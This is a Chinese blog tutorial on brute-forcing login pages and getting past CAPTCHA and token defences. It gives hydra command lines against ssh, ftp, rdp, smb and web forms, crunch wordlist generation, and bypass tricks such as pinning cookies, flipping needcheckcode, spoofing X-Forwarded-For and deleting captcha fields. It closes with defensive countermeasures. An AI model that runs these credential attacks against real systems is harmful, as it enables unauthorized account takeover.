Fork me on GitHub

暴力破解及验证码安全


暴力破解及验证码安全

1、暴力破解注意事项

暴力破解前准备

暴力破解前一定要先搜集敏感信息以便于缩小破解范围甚至做到点对点破解,减少不必要的资源浪费。真正的战士不做没打算的仗,否则便是莽夫!

例如:我们要测试一个网页,那么我们可以先从亲自注册开始一步一步搜集敏感信息,猜测可能漏洞。o(* ̄︶ ̄*)o然后根据结果做出如下准备:

①破解前一定要有一个有效的字典(Top100 TOP2000 csdn QQ 163等密码 甚至和网页提示的密码或用户名格式相吻合的字典...);

②判断用户是否设置了复杂的密码、密码复杂程度....比如目标站点要求密码必须是8位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码

③网站是否存在验证码,验证码种类以及验证方式

④网站是否双因素认证、Token值等等

⑤尝试登录的行为是否有限制(例如暴力锁定,限制错误登陆次数...)

ps:如果破解的是管理后台密码,可使用admin/administrator/root帐号机率较高,可以使用这三个帐号+随便一个密码字典进行暴力破解,是破解过程中一定要注意观察提示,如“用户名或密码错误”“密码错误”“用户名不存在”等相关提示。

登陆页面可能产生的漏洞

ps:首先,挡路页面可能会存在sql注入、xss、xxe(抓包查看accept是否支持xml数据传输,一般登陆页面也不需要)(csrf前提是用户已经建立连接,既然是登陆页面还未建立连接那就没有多大意义除非搭配xss)也是有可能的....

先不讲别的,就拿上面提到的网页或者客户端登陆页面举例吧。重要的是思维方式跟积少成多的经验

在登陆之前先得有证号吧

注册证号时可能出现的漏洞:

①不安全提示

例如:

会提示注册用户名已存在如果提示了那我们是不是就知道了该证号为有效证号;如果没提示我们就试探道他提示已存在为止

会提示密码格式,那岂不是为我们暴力破解缩小了字典范围?...

②不安全的密码

在注册帐号的时候,密码没有限制复杂度。那么根据人性,该服务一定存在很多弱口令了

③未限制注册次数,任意证号注册

那么是不是就会有恶意攻击这可能会无限次进行注册,对服务端造成类炸弹攻击,制造垃圾数据占用服务端存储资源和证号id资源

登陆时可能存在的漏洞:

1、注入点及万能密码登陆(这个sql注入有细讲)

2、不安全的用户提示(一般提示用户名不存或密码及验证码错误)

和注册一样,我们同样可以用这种方式暴力破解大量有效用户名,进而进行密码破解

3、不安全的验证码(不更新,不销毁,过于简单,sesion验证问题)

 

4、查看登录页面源代码,是否存在敏感信息泄露

 

5、数据包是否含有敏感信息泄露,如cookice等,以及账户密码明文传输(当然,如果是https加密传输只能算是低危漏洞)。

 

6、没有token值(token值在暴力破解时是可以截获利用的,但是有比没有强),没有双因素验证等(有则,基本攻击没戏)

双因素验证,例如短信验证最好加上客户意识信息,增强用户安全意识很重要!

7、在暴力破解的时候是否限止ip,锁定用户,限制次数

8、一个帐号可以在多地登录,是否有安全提示...多少诈骗源于此

9、帐号登录之后,应该具备超时功能(防止csrf等等攻击或者一些暴力破解操作)

10、OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码(防止弱口令)

11、逻辑漏洞(直接绕过登陆页面或者密码验证),任意密码重置

12、越权漏洞,纵向,横向越权

字典生成器

易优(superdic),kali的crunch

crunch:

crunch在kali中生成字典
-t   @生成小写字母  , 生成大写字母   % 生成数字 ^符号   -o输出到dict文件
比如phplovexxx 要生成10为已知道前面7位生成字典:
crunch生成 最小长度10位 最大长度10为,后面猜解的内容用上面变量符替代 生成dict内容
crunch 10 10 -t  phplove@@@  -o dict.txt

ps :一般管理员证号的用户名密码有一下特征

用户名;公司简称,首字母,应用简介,url域名,项目简介.....admin administrator root

密码:qaz  qwe qweasd123321.......wqer123!@#  

c/s(客户端和服务端)暴力破解

C/S即客户端/服务器,基于C/S架构的应用程序 如 ssh ftp sql-server mysql 等,这些服务往往提供一个高权限的用户,而这个高权限的用户往往可以进行执行命令的操作,如 sql-server 的 sa ,mysql的root,oracle的sys和system帐号,使用这些高权限的用户能在很大程度上给开发人员带来方便,但如果口令被破解带来的危害也是相当大的。

C/S架构主要使用的破解工具 Hydra、Bruter、X-scan

ps:nmap+脚本同样可以做到暴力破解的作用

bruter工具使用

 ps:

window远程会话协议:smb 端口445
Linux:ssh协议 端口22
远程服务协议:http等等,端口80

此外还有很多:

 hydra神器使用

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。

该工具在kali系统中已经集成,所以直接打开kali使用即可

官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,请勿用于非法事件。

安装
1.yum安装相应依赖包
# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

2.hydra编译安装
# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install

# ./configure会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包

# make

# make install

参数:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
使用
1.手动创建用户名字典和密码字典

这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典

1. 破解ssh
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.0.106 ssh

破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

 

其他实例:

1.破解ssh:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
# hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2.破解ftp
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3.get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4.post方式提交,破解web登录:
# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5.破解https
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6.破解teamspeak
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7.破解cisco
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8.破解smb
# hydra -l administrator -P top100.txt 192.168.0.102 smb
9.破解pop3:邮箱一般没有登录限制,可以尝试暴力破解
# hydra -l muts -P pass.txt my.pop3.mail pop3
10.破解rdp开启3389
# hydra 192.168.0.102 rdp -l administrator -P top100.txt -V
11.破解http-proxy
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
12.破解imap
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

kail密码字典
/usr/share/wfuzz/wordlist/others/names.txt

/usr/share/wfuzz/wordlist/others/common_pass.txt

在该界面指定用户名和密码列表文件,这里使用Kali系统中存在的用户名和密码列表文件,并选择Loop around users选项。其中,用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/others/names.txt/usr/share/wfuzz/wordlist/others/common_pass.txt

附录:

附录1:

hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
如果是ubuntu系统的话,直接apt-get install cmake libssl-dev就可以了。但我系统的centOS,没有找到libssl-dev。因为手#动编译了libssh

# yum install cmake
# cd /usr/local/src
# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
# tar zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make
# make install
# /sbin/ldconfig  //要执行这句,不然会出现hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install

附录2

http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

http://www.ha97.com/5186.html

B/S暴力破解

学习方式:学习各种不同的案例,从中学习不同的经验并且进行积累。

一般是对web应用程序中的高权限用户进行猜解,如网站的内容管理系统账户。一般针对 B/S的暴力猜解,使用Burp Suit 镜像表单爆破。

API接口暴力猜解参考    https://xz.aliyun.com/t/6330

(1)、基于表单的暴力破解

使用burpsuit抓包,发送至include测试器进行暴力破解攻击测试

状态相同,返回长度相同时,我们可以添加响应包关键字进行再次测试

(2)、基于验证码暴力破解

on clien前段js方式验证码绕过

1、输入正确验证码后进行抓包,对用户名和密码进行暴力破解

(前段验证码,一次正确抓包后基本永久使用。也就是说前段验证码校验基本可以说没有任何意义)

抓包改包绕过绕过

1、不安全的将验证码或相关信息在cookie中泄露

例如:

有些系统默认不显示验证码,而是在用户校验错误一定次数之后再出现。那如何判断用户已经错误几次了呢?没有经验的开发可能这样做:

1.在cookie中写入一个标记,比如loginErr = 1,后续错误累加
2.在session中写入一个标记,例如loginErr = 1,后续错误累加

 问题在于,要是攻击者不带Cookie提交HTTP请求呢?或者是,攻击者不更新CookieloginErr的值反复提交呢?这样程序会因为无从获取Cookie/sessionID,会一直认为攻击者是首次访问。无论什么时候,验证码都不会出现!攻击者就可以肆无忌惮的暴力破解了。

2、验证码校验不严格,逻辑出现问题

例如:

①验证码发送到前段html中显示。那么我们可以使用burpsuit抓取响应包,利用返回的验证码再次攻击。(例如:新的验证码返回;攻击者随意输入客户手机号发送验证码,验证码返回到前段html中....)

具体方式和下面的token值绕过类似,这里就不细写了。

②没有进行非空判断。

很多时候,我们会遗留掉了验证过程中验证码为空的情况,比如去掉cookie中的某些值或者请求中验证码参数。(假设程序员遗忘了if判断验证码为空的情况,知识进行了验证而已)

那么我们就可以删掉验证码,进行暴力破解了。

③在请求里有个字段叫needcheckcode=true,改成false就可以绕过验证码检测了。

on server后端验证码绕过

1、理论上服务端校验验证码应该是一次性的,然而很多程序员没有采取包含验证码的session及时销毁机制。导致验证码在后台不过期,导致长期使用(php默认session是24分钟过期)

这种条件下,我们在24分钟之内进行用户名和密码暴力破解就可以了,甚至可以多个24分钟组合字典破解!

个人认为,我们可以采取每个session id一次性使用,每次访问重新发放随机id措施来解决这个问题。

2、验证码设计的太过简单和有规律的被猜解

①验证码易识别

可以burpsuit抓包抓包,使用pkav http工具输入包信息和验证码图片连接位置进行验证码识别爆破

 

 

 

 

 

 

 

重点:

 

 

②验证码集有问题,导致验证码可以被简单暴力破解

 案例:139邮箱图验证码绕过漏洞 http://www.wooyun.org/bugs/wooyun-2013-025245

(3)、基于Token破解(参考token破解文档)

由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义一般Token在防止CSRF上会有比较好的功效

注意:破解方式为音叉;线程数设为1;Grep-Extract设置好开始token" value=" 结束为" /> ;token字典的有郊载荷设为递归搜索
"token" value=";密码正常使用密码字典

 

 

 

 

 

 

 

 

 原理:虽然每次访问token值不一样,但是我们可以从每次的相应包中提取token值用来再次攻击,从而在暴力破解中绕过token值防御

暴力破解目录

可以使用7kb ,破壳,dirsearch

小结:

验证码绕过方式:

一、前段js验证绕过

如果验证码是在客户端验证,那么我门可以再输入验证码后抓包进行破解密码等操作(抓包时验证码已经验证完成)

二、客户端抓包绕过

1、抓包改包绕过

①验证码有关的一些判断信息出现在数据包中

那么我们可以修改数据包进行验证码绕过

例如:

1.在cookie中写入一个标记,比如loginErr = 1,后续错误累加
2.在session中写入一个标记,例如loginErr = 1,后续错误累加

当loginerr值达到一定值就需要验证码,那么我们就固定他的值永远为一

ps:这种验证方式也可以足够多的有效证号每个证号有限次数爆破。

②在请求里有个字段叫needcheckcode=true

改成false就可以绕过验证码检测了。

③x-forwaded-for 127.0.0.1绕过

自己访问自己,还需要密码或者验证码?

2、验证信息返回到客户端(响应端)

①修改0/1,true/false判断参数

关闭验证码验证或者将验证失败结果该为成功(这里基本属于逻辑漏洞了)

②验证码返回到响应包

如果服务端将返回验证码返回到响应包,我么可以抓取响应包进行提取新验证码

③token值绕过

返回包中提取返回的token值

④短信或者邮箱验证码可以返回到别人手机或邮箱

那攻击者当那个别人就好了嘛

三、服务端绕过

1、如果验证码时间绕过

如果验证码时间过长(服务端没有及时更换session),那么就给了我们暴力破解的时间,一般php默认验证码有效时间为24分钟

2、服务端过滤不严格

如果服务端对验证码判断不够严格,没有非空判断,我们可以尝试抓包删除验证码

四、弱验证码绕过

1、验证码可预测

例如:abcd选择验证码,每次至少得有25%概率成功。例如:选择你的好友或者你或者你的好友最近买的商品可猜解可撞库(淘宝案件)。

2、验证码过于简单

可以用pkav等验证码识别工具识别

3、万能验证码

暴力破解安全防范

1) 强制要求输入正确验证码次数,违之,必须实施IP策略(永久限制或短时间限制)。 注意不要被X-Forwaded-For绕过了!(x-forwaded-For 127.0.0.1相当于本地,可以绕过防火墙的 )

2)验证码进行服务端验证,且严格校验,进行非空判断;验证码只能用一次,用完立即过期!不能再次使用(sessiong及时消除机制)

3) 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。

4) 大网站最好统一安全验证码,各处使用统一验证码接口。(方便严格管理)

5)验证信息可返回客户端但是要做到不可更改(客户端更改相关参数无效,例如修改或者去掉一些参数等等....)最好不可见

posted @ 2020-11-10 17:16  子墨·咖啡  阅读(48)  评论(0)    收藏  举报